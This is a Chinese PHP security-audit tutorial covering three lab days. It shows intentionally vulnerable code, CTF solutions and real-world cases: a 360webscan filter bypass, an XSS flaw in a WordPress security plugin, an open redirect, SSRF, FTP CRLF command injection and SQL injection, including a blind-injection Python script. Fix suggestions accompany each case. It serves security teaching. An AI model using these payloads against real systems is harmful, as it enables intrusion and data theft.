Day 15 - Sleigh Ride 题目叫做滑雪橇,代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 class Redirect { private $websiteHost ='www.example.com' ; private function setHeaders ($url ) { $url = urldecode ($url ); header ("Location:$url " ); } public function startRedirect ($params ) { $parts = explode ('/' ,$_SERVER ['PHP_SELF' ]); $baseFile = end ($parts ); $url = sprintf ( "%s?%s" , $baseFile , http_build_query ($params ) ); $this ->setHeaders ($url ); } } if ($_GET ['redirect' ]){ (new Redirect ())->startRedirect ($_GET ['params' ]); }
漏洞解析 :
这一关主要考察的是 $_SERVER[‘PHP_SELF’] 引发的一个任意网址跳转漏洞
首先,分析一下程序的运行
如果有 $_GET[‘redirect’] 参数,那么就 New 一个 Redirect 对象,同时调用 Redirect 类的 startRedirect 方法
startRedirect 函数接受一个 GET 类型的 params 参数,然后在 explode() 函数中,将 $_SERVER[‘PHP_SELF’] 得到的值,以 / 分割成一个 $parts 数组。
$baseFile 的值为 $parts 数组的最后一个值
$url 的值为 $baseFile?http_build_query($params) ,其中的 http_build_query() 函数就是一个将参数进行URL编码的一个操作,比如 $params=’test=123’
然后调用 setHeaders 函数,首先解码 $url 参数,然后 header() 函数直接跳转 $url
$_SERVER[‘PHP’] 存在的问题:
初看这个程序没什么问题,但是PHP自带的**$_SERVER[‘PHP_SELF’]** 参数是可以控制的。其中 PHP_SELF 指当前的页面绝对地址,比如我们的网站:http://www.test.com/redict/index.php ,那么PHP_SELF 就是 /redict/index.php 。但有个小问题很多人没有注意到,当URL 是PATH_INFO 的时候,比如:http://www.test.com/redict/index.php/admin ,那么PHP_SELF 就是**/redict/index.php/admin** 也就是说,其实 PHP_SELF 有一部分是我们可以控制的。
双编码问题:
URL本来是被浏览器编码过一次,服务器接收到来自浏览器URL请求的时候,会将URL解码一次,由于在程序中我们看到有 urldecode() 函数存在,它会再次解码一次URL,此时双编码URL就可以利用,用于绕过某些关键词检测。比如将 / 编码为: %252f
漏洞利用:
比如我们要跳转到我的博客:blog.dyboy.cn ,那么就可以构造 Payload :http://www.test.com/index.php/http:%252f%252fblog.dyboy.cn?redirect=test¶ms=test123 ,访问即可重定向跳转到 http://blog.dyboy.cn 网址。如下图所示,发生了 302 跳转:
实例分析 其实关于这个漏洞的利用,是有很多src案例的。但是都是黑盒测试,不是很清楚后台的代码怎么设计的,这里可以提及到一个关于 360webscan 的防护脚本一个历史漏洞,正是使用了 $_SERVER[‘PHP_SELF’] 这个变量,导致可以绕过360webscan防护脚本的防护,脚本的防护效果失效,现在此防护脚本更新了。
最新版下载地址: http://webscan.360.cn/protect/down?domain=www.test.com
旧版本下载地址:https://www.lanzous.com/i1qj0qh
其结构为:
因为这只是一个防护的辅助脚本,任何的程序都可以安装使用,这里就以 Emlog5.3.1 博客程序为例子,程序不重要,这个脚本可以安装接入到任何的程序中。
安装的方法:解压得到 360safe 文件夹,之后上传到我们的网站根目录中,同时在任意的全局文件中加入如下代码即可安装成功:
1 2 3 if (is_file ($_SERVER ['DOCUMENT_ROOT' ].'/360safe/360webscan.php' )){ require_once ($_SERVER ['DOCUMENT_ROOT' ].'/360safe/360webscan.php' ); }
在按照上述安装方法安装后,测试访问: http://www.test.com/index.php?test=<script>alert(1)</script>
,XSS拦截显示:
比如GET传递的数据存在SQL注入恶意字符都会被拦截,虽然本脚本的正则过滤规则很好了,但是通过这一个 $_SERVER[‘PHP_SELF’] ,可以通过白名单规则绕过攻击防护。
在存在绕过漏洞的360webscan历史版本中,如下图 第194-219行 的的代码(拦截目录白名单检测):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 function webscan_white ($webscan_white_name , $webscan_white_url = array ( ) ) { $url_path = $_SERVER ['PHP_SELF' ]; $url_var = $_SERVER ['QUERY_STRING' ]; foreach ($webscan_white_url as $key ) { if (preg_match ("/" . $webscan_white_name . "/is" , $url_path ) == 1 && !empty ($webscan_white_name )) { return true ; } elseif (empty ($url_var ) && empty ($value )) { return false ; } if (!empty ($url_var ) && !empty ($value )) { if (stristr ($url_path , $key ) && stristr ($url_var , $value )) { return false ; } } } }
在上图的 第5行 ,我们看到 $url_path 的值是直接取的 $_server[‘PHP_SELF’] 的值,同时没有做任何的验证或过滤。那么我们只要在请求的URL(提交的参数中)存在白名单目录,那么就可以绕过安全检测。
因为在 webscan_cache.php 中的默认的白名单目录存在 admin 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php define ('WEBSCAN_U_KEY' , '6809abbda8d53816f11500b52637e8db' );define ('WEBSCAN_API_LOG' , 'http://safe.webscan.360.cn/papi/log/?key=' . WEBSCAN_U_KEY);define ('WEBSCAN_UPDATE_FILE' , 'http://safe.webscan.360.cn/papi/update/?key=' . WEBSCAN_U_KEY);$webscan_switch = 1 ;$webscan_post = 1 ;$webscan_get = 1 ;$webscan_cookie = 1 ;$webscan_referre = 1 ;$webscan_white_directory = 'admin|\/dede\/' ;$webscan_white_url = array ( 'index.php' => 'm=admin' , 'post.php' => 'job=postnew&step=post' , 'edit_space_info.php' => '' ); ?>
然后我们访问:http://www.test.com/index.php/admin?test=%3Cscript%3Ealert(1)%3C/script%3E
此处虽然返回的状态码是 404 ,但是,我们发现已经不再拦截了,如果再配合某些CMS或者PHP系统的伪静态特殊性,那么就可以成功的绕过防护。
修复建议 本次审计的其实不是漏洞,主要是一个 $_SERVER[‘PHP_SELF’] 的问题,再遇上某系伪静态规则配合下,就会导致各种由此形成的各种漏洞。因此,这里推荐使用 $_SERVER[‘SCRIPT_NAME’] 代替即可,同时,我们可以看到在最新的360webscan中已经更新了这个问题,并且就是使用 $_SERVER[‘SCRIPT_NAME’] 。
题目 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php include "./config.php" ;include "./flag.php" ;error_reporting (0 );$black_list = "/admin|guest|limit|by|substr|mid|like|or|char|union|select|greatest|%00|\'|" ;$black_list .= "=|_| |in|<|>|-|chal|_|\.|\(\)|#|and|if|database|where|concat|insert|having|sleep/i" ;if (preg_match ($black_list , $_GET ['user' ])) exit (":P" ); if (preg_match ($black_list , $_GET ['pwd' ])) exit (":P" ); $query ="select user from users where user='$_GET [user]' and pwd='$_GET [pwd]'" ;echo "<h1>query : <strong><b>{$query} </b></strong><br></h1>" ;$result = $conn ->query ($query );if ($result ->num_rows > 0 ){ $row = $result ->fetch_assoc (); if ($row ['user' ]) echo "<h2>Welcome {$row['user']} </h2>" ; } $result = $conn ->query ("select pwd from users where user='admin'" );if ($result ->num_rows > 0 ){ $row = $result ->fetch_assoc (); $admin_pass = $row ['pwd' ]; } if (($admin_pass )&&($admin_pass === $_GET ['pwd' ])){ echo $flag ; } highlight_file (__FILE__ );?>
这道题主要还是绕过防护成功进行sql注入,我们可以看到 第25-26行 ,只要我们知道 Admin 用户的密码,就能拿到flag。在 第11行 处 $_GET[user] 和 $_GET[pwd] 两个变量可控,存在SQL注入。再看 第6-7行 ,当中过滤了 # 、 - 号,那么我们就无法进行常规的注释,但是我们可以用 ;%00 来进行注释。 $black_list 还过滤了很多字符串截取函数,这里我们可使用 regexp 来解决。最终我们的payload如下:
1 2 3 4 5 http://localhost/CTF/?user=\&pwd=||1;%00 对应SQL语句为: select user from users where user='\' and pwd='||1;' 等价于: select user from users where user='xxxxxxxxxxx'||1#
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import stringimport requestsimport rechar_set = '0123456789abcdefghijklmnopqrstuvwxyz_' pw = '' while 1 : for ch in char_set: url = 'http://localhost/CTF/?user=\\&pwd=||pwd/**/regexp/**/"^%s";%%00' r = requests.get(url=url%(pw+ch)) if 'Welcome Admin' in r.text: pw += ch print (pw) break if ch == '_' : break r = requests.get('http://localhost/CTF/?user=&pwd=%s' % pw) print (re.findall('HRCTF{\S{1,50}}' ,r.text)[0 ])
REGEXP 是MySQL中的正则表达式匹配操作符,它检查pwd字段是否匹配指定的正则表达式。 如果pwd字段以猜测的密码字符开头,那么正则表达式匹配成功,SQL查询将返回结果。 由于这是一个布尔盲注攻击,攻击者无法直接看到查询结果,而是通过服务器的响应来判断正则表达式是否匹配成功。
360webscan防注入脚本全面绕过
Day 16 - Poem 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 class FTP { public $sock ; public function __construct ($host , $port , $user , $pass ) { $this ->sock = fsockopen ($host , $port ); $this ->login ($user , $pass ); $this ->cleanInput (); $this ->mode ($_REQUEST ['mode' ]); $this ->send ($_FILES ['file' ]); } private function cleanInput ( ) { $_GET = array_map ('intval' , $_GET ); $_POST = array_map ('intval' , $_POST ); $_COOKIE = array_map ('intval' , $_COOKIE ); } public function login ($username , $password ) { fwrite ($this ->sock, "\n" ); fwrite ($this ->sock, $username ); fwrite ($this ->sock, $password ."\n" ); } public function mode ($mode ) { if ($mode == 1 || $mode == 2 || $mode == 3 ){ fputs ($this ->sock, "MODE$mode \n" ); } } public function send ($data ) { fputs ($this ->sock, $data ); } } new FTP ('localhost' , 21 , 'user' , 'password' );
漏洞解析 :
这道题目包含了两个漏洞,利用这两个漏洞,我们可以往FTP连接资源中注入恶意数据,执行FTP命令。首先看到 第7行 代码,可以发现程序使用 cleanInput 方法过滤 GET 、 POST 、 COOKIE 数据,将他们强制转成整型数据。然而在 第8行 处,却传入了一个从 REQUEST 方式获取的 mode 变量。我们都知道超全局数组 $_REQUEST 中的数据,是 $_GET 、 $_POST 、 $_COOKIE 的合集,而且数据是复制过去的,并不是引用。我们先来看一个例子,来验证这一观点:
可以发现 REQUEST 数据丝毫不受过滤函数的影响。回到本例题,例题中的程序过滤函数只对 GET 、 POST 、 COOKIE 数据进行操作,最后拿来用的却是 REQUEST 数据,这显然会存在安全隐患。想了解更多 $_REQUEST 信息,大家自己上官网学习。第二个漏洞的话,在代码 第21行 ,这里用了 == 弱比较。关于这个问题,我们在前面的文章中讲的也很细致了,大家可以参考:[红日安全]PHP-Audit-Labs题解之Day1-4 (Day4)。
至于本次案例的攻击payload,可以使用: ?mode=1%0a%0dDELETE%20test.file ,这个即可达到删除FTP服务器文件的效果。
实例分析 本次实例分析,我们分析的是 WordPress 的 All In One WP Security & Firewall 插件。该插件在 4.1.4 - 4.1.9 版本中存在反射型XSS漏洞,漏洞原因和本次案例中的漏洞成因一致,官方也在 4.2.0 版本中修复了该漏洞。本次,我们将以 4.1.4 版本插件作为案例讲解。 将下载下来的插件zip包,通过后台插件管理上传压缩包安装即可。本次发生问题的文件在于 wp-content\plugins\all-in-one-wp-security-and-firewall\admin\wp-security-dashboard-menu.php ,为了方便大家理解,我将问题代码抽取出来,简化如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 class AIOWPSecurity_Dashboard_Menu extends AIOWPSecurity_Admin_Menu { var $menu_tabs_handler = array ( 'tab1' => 'render_tab1' , 'tab2' => 'render_tab2' , 'tab3' => 'render_tab3' , 'tab4' => 'render_tab4' , 'tab5' => 'render_tab5' , ); function __construct ( ) { $this ->render_menu_page (); } function render_menu_page ( ) { $this ->set_menu_tabs (); $tab = $this ->get_current_tab (); $this ->render_menu_tabs (); call_user_func (array (&$this , $this ->menu_tabs_handler[$tab ])); } function render_tab3 ( ) { if (isset ($_REQUEST ["tab" ])) { echo '<input type="hidden" name="tab" value="' . $_REQUEST ["tab" ] . '">' ; } } }
我们可以很清晰的看到,问题就出在 第25行 的 render_tab3 方法中,这里直接将 REQUEST 方式获取的 tab 变量拼接并输出。而实际上,在 第20行 已经获取了经过过滤处理的 $tab 变量。我们来看一下 get_current_tab 方法:
1 2 3 4 5 6 function get_current_tab ( ) { $tab_keys = array_keys ($this ->menu_tabs); $tab = isset ($_GET ['tab' ]) ? sanitize_text_field ($_GET ['tab' ]) : $tab_keys [0 ]; return $tab ; }
过滤函数的调用链如下图 第1行 ,接着 $tab 变量就会经过 wp_check_invalid_utf8 方法的检测。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 function wp_check_invalid_utf8 ($string , $strip = false ) { $string = (string )$string ; if (0 === strlen ($string )) { return '' ; } static $is_utf8 = null ; if (!isset ($is_utf8 )) { $is_utf8 = in_array (get_option ('blog_charset' ), array ('utf8' , 'utf-8' , 'UTF8' , 'UTF-8' )); } if (!$is_utf8 ) { return $string ; } static $utf8_pcre = null ; if (!isset ($utf8_pcre )) { $utf8_pcre = @preg_match ('/^./u' , 'a' ); } if (!$utf8_pcre ) { return $string ; } if (1 === @preg_match ('/^./us' , $string )) { return $string ; } if ($strip && function_exists ('iconv' )) { return iconv ('utf-8' , 'utf-8' , $string ); } return '' ; }
漏洞利用 下面我们来看看攻击 payload (向 http://website/wp-admin/admin.php?page=aiowpsec&tab=tab3 POST数据 tab="><script>alert(1)</script>
):
可以看到成功引发XSS攻击。我们最后再根据 payload 对代码的调用过程进行分析。首先,我们的 payload 会传入 wp-admin/admin.php 文件中,最后进入 第14行 的 do_action(‘toplevel_page_aiowpsec’); 代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 $page_hook = null ;if (isset ($_GET ['page' ])) { $plugin_page = wp_unslash ($_GET ['page' ]); $plugin_page = plugin_basename ($plugin_page ); } if (isset ($plugin_page )) { if ($page_hook ) { do_action ($page_hook ); } }
在 wp-includes/plugin.php 文件中,程序又调用了 WP_Hook 类的 do_action 方法,该方法调用了自身的 apply_filters 方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 function do_action ($tag , $arg = '' ) { global $wp_filter , $wp_actions , $wp_current_filter ; $wp_filter [$tag ]->do_action (); array_pop ($wp_current_filter ); } public function do_action ($args ) { $this ->doing_action = true ; $this ->apply_filters ('' , $args ); if (!$this ->nesting_level) { $this ->doing_action = false ; } }
然后 apply_filters 方法调用了 wp-content\plugins\all-in-one-wp-security-and-firewall\admin\wp-security-admin-init.php 文件的 handle_dashboard_menu_rendering 方法,并实例化了一个 AIOWPSecurity_Dashboard_Menu 对象。
接下来就是开头文章分析的部分
整个漏洞的攻击链就如下图所示:
这里还有一个小知识点要提醒大家的是,案例中 $_REQUEST[“tab”] 最后取到的是 $_POST[“tab”] 的值,而不是 $_GET[“tab”] 变量的值。这其实和 php.ini 中的 request_order 对应的值有关。例如在我的环境中, request_order 配置如下:
这里的 “GP” 表示的是 GET 和 POST ,且顺序从左往右。例如我们同时以 GET 和 POST 方式传输 tab 变量,那么最终用 $_REQUEST[‘tab’] 获取到的就是 $_POST[‘tab’] 的值。更详细的介绍可以看如下PHP手册的定义:
1 2 3 4 5 6 request_order string This directive describes the order in which PHP registers GET, POST and Cookie variables into the _REQUEST array . Registration is done from left to right, newer values override older values. If this directive is not set, variables_order is used for $_REQUEST contents. Note that the default distribution php.ini files does not contain the 'C' for cookies, due to security concerns.
修复建议 对于这个漏洞的修复方案,我们只要使用过滤后的 $tab 变量即可,且变量最好经过HTML实体编码后再输出,例如使用 htmlentities 函数等。
题目 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 <?php function check_inner_ip ($url ) { $match_result =preg_match ('/^(http|https)?:\/\/.*(\/)?.*$/' ,$url ); if (!$match_result ){ die ('url fomat error1' ); } try { $url_parse =parse_url ($url ); } catch (Exception $e ){ die ('url fomat error2' ); } $hostname =$url_parse ['host' ]; $ip =gethostbyname ($hostname ); $int_ip =ip2long ($ip ); return ip2long ('127.0.0.0' )>>24 == $int_ip >>24 || ip2long ('10.0.0.0' )>>24 == $int_ip >>24 || ip2long ('172.16.0.0' )>>20 == $int_ip >>20 || ip2long ('192.168.0.0' )>>16 == $int_ip >>16 || ip2long ('0.0.0.0' )>>24 == $int_ip >>24 ; } function safe_request_url ($url ) { if (check_inner_ip ($url )){ echo $url .' is inner ip' ; } else { $ch = curl_init (); curl_setopt ($ch , CURLOPT_URL, $url ); curl_setopt ($ch , CURLOPT_RETURNTRANSFER, 1 ); curl_setopt ($ch , CURLOPT_HEADER, 0 ); $output = curl_exec ($ch ); $result_info = curl_getinfo ($ch ); if ($result_info ['redirect_url' ]){ safe_request_url ($result_info ['redirect_url' ]); } curl_close ($ch ); var_dump ($output ); } } $url = $_POST ['url' ];if (!empty ($url )){ safe_request_url ($url ); } else { highlight_file (__file__); } ?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php if (! function_exists ('real_ip' ) ) { function real_ip ( ) { $ip = $_SERVER ['REMOTE_ADDR' ]; if (is_null ($ip ) && isset ($_SERVER ['HTTP_X_FORWARDED_FOR' ]) && preg_match_all ('#\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}#s' , $_SERVER ['HTTP_X_FORWARDED_FOR' ], $matches )) { foreach ($matches [0 ] AS $xip ) { if (!preg_match ('#^(10|172\.16|192\.168)\.#' , $xip )) { $ip = $xip ; break ; } } } elseif (is_null ($ip ) && isset ($_SERVER ['HTTP_CLIENT_IP' ]) && preg_match ('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/' , $_SERVER ['HTTP_CLIENT_IP' ])) { $ip = $_SERVER ['HTTP_CLIENT_IP' ]; } elseif (is_null ($ip ) && isset ($_SERVER ['HTTP_CF_CONNECTING_IP' ]) && preg_match ('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/' , $_SERVER ['HTTP_CF_CONNECTING_IP' ])) { $ip = $_SERVER ['HTTP_CF_CONNECTING_IP' ]; } elseif (is_null ($ip ) && isset ($_SERVER ['HTTP_X_REAL_IP' ]) && preg_match ('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/' , $_SERVER ['HTTP_X_REAL_IP' ])) { $ip = $_SERVER ['HTTP_X_REAL_IP' ]; } return $ip ; } } $rip = real_ip ();if ($rip === "127.0.0.1" ) die ("HRCTF{SSRF_can_give_you_flag}" ); else die ("You IP is {$rip} not 127.0.0.1" ); ?>
Day16的CTF考察的是 SSRF漏洞 , flag 只有通过 127.0.0.1 的IP去请求 flag.php 文件,才能获得flag。可以看到程序对用户传来的数据,会先使用 safe_request_url 函数对URL的合法性进行判断。而在 safe_request_url 函数中,使用 check_inner_ip 函数判断用户请求的IP是否为内部IP地址,如果是,则拒绝该请求;否则使用curl进行请求,并将请求结果进行输出。对于这一知识点,我们可以参考这篇文章: us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages 我们可以利用URL解析器之间的差异处理,构造如下 payload :curl -d "url=http://foo@localhost:80@www.freebuf.com/flag.php" "http://题目IP/"
Day 17 - Turkey Baster 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 class RealSecureLoginManager { private $em ; private $user ; private $password ; public function __construct ($user , $password ) { $this ->em = DoctrineManager ::getEntityManager (); $this ->user = $user ; $this ->password = $password ; } public function isValid ( ) { $pass = md5 ($this ->password, true ); $user = $this ->sanitizeInput ($this ->user); $queryBuilder = $this ->em->createQueryBuilder () ->select ("COUNT(p)" ) ->from ("User" , "u" ) ->where ("password='$pass ' AND user='$user '" ); $query = $queryBuilder ->getQuery (); return boolval ($query ->getSingleScalarResult ()); } public function sanitizeInput ($input ) { return addslashes ($input ); } } $auth = new RealSecureLoginManager ( $_POST ['user' ], $_POST ['passwd' ] ); exit ;
这题实际上和我们之前分析 Day13 很相似,从 第17行-20行 代码中明显存在SQL语句拼接的形式,而 $pass 变量和 $user 变量是在 第30行和31行 中通过 POST 方式由用户进行控制。这里很明显存在SQL注入漏洞,所以这题应该是考察SQL注入漏洞。
这里为什么说这题和 Day13 很相似呢,我们继续往下看。程序代码 第14行 调用 sanitizeInput 函数针对用户输入的 $user 变量进行了处理,跟进一下 sanitizeInput 函数,在 第25行 找到这个函数,这个函数的作用就是调用 addslashes 函数针对输入数据进行处理。 addslashes 函数定义如下:
addslashes — 使用反斜线引用字符串
1 string addslashes ( string $str )
作用:在单引号(’)、双引号(”)、反斜线(\)与 NUL( NULL 字符)字符之前加上反斜线。
所以按照这种情况下这个地方,似乎不存在注入点了,先别急,我们继续往下看,我们看到 第13行 代码针对用户输入 password 的值调用 md5 函数进行相关处理。我们先来了解一下这个 md5 函数
md5 — 计算字符串的 MD5 散列值
1 string md5 ( string $str [, bool $raw_output = false ] )
我们看到题目中的代码是这样的
1 $pass = md5 ($this ->password, true );
这里在 $raw_output 位置设置为了true,根据描述
如果可选的 raw_output
被设置为 TRUE ,那么 MD5 报文摘要将以16字节长度的原始二进制格式返回。
那我们先来看看效果
现在整理一下这道题,我们知道我可以控制的点有两个变量,一个是 $user ,一个是 $pass ,**$pass** 经过了 md5 的处理,但是返回字段不是标准的md5值,**$user** 经过了 addslashes 函数的处理,无法引入特殊符号去闭合。这里做个假设,如果我们经过 $pass = md5($this->password, true); 处理之后的值逃逸出一个反斜杆,那么实际上带入到数据库的值就如下所示:
1 select count (p) from user s where password= 'xxxxxx\' and user = 'xxx#'
如果这种情况发生,实际上也存在了SQL注入。我们尝试fuzz一下,看看会不会存在某个值经过了 md5(xxx, true) 处理之后,最后一位是反斜杠。
我们针对1-1000进行一下fuzz,发现 md5(128, true) 最后的结果带有反斜杠。因此这题最后的payload如下:
1 user= OR 1=1#&passwd=128
带入到数据库查询的语句如下:
1 select count (p) from user s where password= 'v�an���l���q��\' and user = ' OR 1=1#'
最后我们之前 Day13 也是通过逃逸反斜杆,转义单引号,从而逃逸出一个单引号闭合了之前的SQL语句,之前 Day13 的payload如下所示:
1 select count (p) from user where user = '1234567890123456789\' AND password = 'or 1=1#'
这里也是因为SQL语句中有两个地方可控,因此,我们也可以通过这个办法造成SQL注入的问题,所以我才会说这道题实际上和 Day13 很相似。
实例分析 由于找不到由 md5(xxx,true) 函数引起的漏洞实例,所以本次实例分析选择实验吧的一道CTF题目,进行分析,题目地址 。 首先打开该题目提示后台登陆,猜测可能是个注入的题目,先看看有没有相关信息泄漏,右键源代码,发现泄漏的登陆逻辑代码。
1 2 3 4 5 6 7 8 9 $password =$_POST ['password' ]; $sql = "SELECT * FROM admin WHERE username = 'admin' and password = '" .md5 ($password ,true )."'" ; $result =mysqli_query ($link ,$sql ); if (mysqli_num_rows ($result )>0 ){ echo 'flag is :' .$flag ; } else { echo '密码错误!' ; }
从上图中的代码中的 第5行 可以看到,当查询结果返回大于0的时候,就会输出 flag ,我们前面分析过当 md5 函数的 $raw_output 设置会true的时候, md5 函数返回前16字节长度的原始二进制,然后再将二进制转换成字符串,这种情况下可能会引入单引号等特殊字符。
有人尝试过破解这个类型的字符,目前已知两个是 ffifdyop 和129581926211651571912466741651878684928 ,我们来看看实际效果。
所以实际上这里就会导致了SQL注入
1 2 原先:SELECT * FROM admin WHERE username = 'admin' and password = 'md5($password,true)' 变成:SELECT * FROM admin WHERE username = 'admin' and password = '' or '6\xc9]\x99'
由于 and 运算符优先级比 or 高,所以前面的:username = ‘admin’ and password = ‘’ 会先执行,然后将执行结果与后面的 ‘6\xc9]\x99’ 进行 or 运算。在布尔运算中,除了 0、’0’、false、null ,其余结果都为真。所以整个 SQL 语句的 where 条件判断部分为真,这样可定就能查出数据,类似如下:
修复建议 建议在使用 md5 函数的时候,不要将 $raw_output 字段设置为true 。
http://cvk.posthaven.com/sql-injection-with-raw-md5-hashes